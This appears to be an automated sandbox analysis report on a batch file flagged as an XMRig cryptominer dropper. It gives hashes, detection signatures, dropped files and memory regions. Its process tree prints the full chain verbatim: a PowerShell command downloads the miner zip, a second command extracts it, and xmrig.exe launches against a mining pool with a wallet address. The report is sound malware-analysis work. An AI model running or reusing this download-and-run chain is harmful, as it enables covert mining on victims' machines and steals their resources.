Analysis

  • max time kernel
    1793s
  • max time network
    1787s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 05:55

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1920
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3972

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    055834dbbd238bc2ff667072f1ce4fa1

    SHA1

    502248efcc0ca5612809f78943fb3d4ee662e20c

    SHA256

    23c015b7521b77f5b9775d3ab9ff61dc3a8ae9b5e7e6acdbe842409def65f7e4

    SHA512

    2a941608696bad8b4dfe1e4c3aa499721e1ef13d77dfe8349af27837014fe6857be868bec86b40d4b96b56b9ff2de7e8907a24d3ae9117e56fbcc78422b5d3b4

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jeukspio.5js.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    529KB

    MD5

    efcc4d999a69e92bc6702c400082cfe0

    SHA1

    4f13daf8f0e19f5abaeca67560aa31f7a1630038

    SHA256

    13c59425040968695912a7e41ddfa12b7e8be5b2a2ea211973769a5cf678b87d

    SHA512

    c7759b15c5588ce2ae11dd6a5527664c170e908e0d26571b05a9ddda7beba578bc6ebef1bd4de348e11a7c45f622df2884797128ec42b82b483176c58145acdb

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    340KB

    MD5

    fe91eb0fa08981cf34508a4b73300b72

    SHA1

    ec8dbe1fc60261b224f905e768de3fcd52ffeb3a

    SHA256

    7ec40daa83862f1a4215cf945ef830daa46a049bf2d95106118fda6c217b3ed9

    SHA512

    8a653e619e06d61b61568ece0d125b32e7b980341b9cd6d61d80f6df84f45766d7cd25d5dfa112799a80291241738654b1e031362b92ecc051e5cf5450cf3c7e

  • memory/1920-89-0x0000024CA54F0000-0x0000024CA54FA000-memory.dmp

    Filesize

    40KB

  • memory/1920-38-0x0000024CA5370000-0x0000024CA5380000-memory.dmp

    Filesize

    64KB

  • memory/1920-37-0x0000024CA5370000-0x0000024CA5380000-memory.dmp

    Filesize

    64KB

  • memory/1920-113-0x00007FFCA7C10000-0x00007FFCA85FC000-memory.dmp

    Filesize

    9.9MB

  • memory/1920-36-0x00007FFCA7C10000-0x00007FFCA85FC000-memory.dmp

    Filesize

    9.9MB

  • memory/1920-62-0x0000024CA5370000-0x0000024CA5380000-memory.dmp

    Filesize

    64KB

  • memory/1920-76-0x0000024CA5510000-0x0000024CA5522000-memory.dmp

    Filesize

    72KB

  • memory/3972-145-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-150-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-116-0x000002810EEA0000-0x000002810EEC0000-memory.dmp

    Filesize

    128KB

  • memory/3972-184-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-117-0x000002810EED0000-0x000002810EEF0000-memory.dmp

    Filesize

    128KB

  • memory/3972-118-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-119-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-121-0x000002810EEF0000-0x000002810EF10000-memory.dmp

    Filesize

    128KB

  • memory/3972-120-0x000002810EF10000-0x000002810EF30000-memory.dmp

    Filesize

    128KB

  • memory/3972-122-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-123-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-124-0x000002810EF10000-0x000002810EF30000-memory.dmp

    Filesize

    128KB

  • memory/3972-125-0x000002810EEF0000-0x000002810EF10000-memory.dmp

    Filesize

    128KB

  • memory/3972-126-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-127-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-128-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-129-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-130-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-131-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-132-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-133-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-134-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-135-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-136-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-137-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-138-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-139-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-140-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-141-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-142-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-143-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-144-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-183-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-146-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-147-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-148-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-149-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-182-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-151-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-152-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-153-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-154-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-155-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-156-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-157-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-158-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-159-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-160-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-161-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-162-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-163-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-164-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-165-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-166-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-167-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-168-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-169-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-170-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-171-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-172-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-173-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-174-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-175-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-176-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-177-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-178-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-179-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-180-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/3972-181-0x00007FF6DB2E0000-0x00007FF6DBDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4688-7-0x000002357F0A0000-0x000002357F0B0000-memory.dmp

    Filesize

    64KB

  • memory/4688-4-0x000002357F020000-0x000002357F042000-memory.dmp

    Filesize

    136KB

  • memory/4688-5-0x00007FFCA7C10000-0x00007FFCA85FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4688-9-0x000002357F0A0000-0x000002357F0B0000-memory.dmp

    Filesize

    64KB

  • memory/4688-10-0x000002357F230000-0x000002357F2A6000-memory.dmp

    Filesize

    472KB

  • memory/4688-25-0x000002357F0A0000-0x000002357F0B0000-memory.dmp

    Filesize

    64KB

  • memory/4688-30-0x00007FFCA7C10000-0x00007FFCA85FC000-memory.dmp

    Filesize

    9.9MB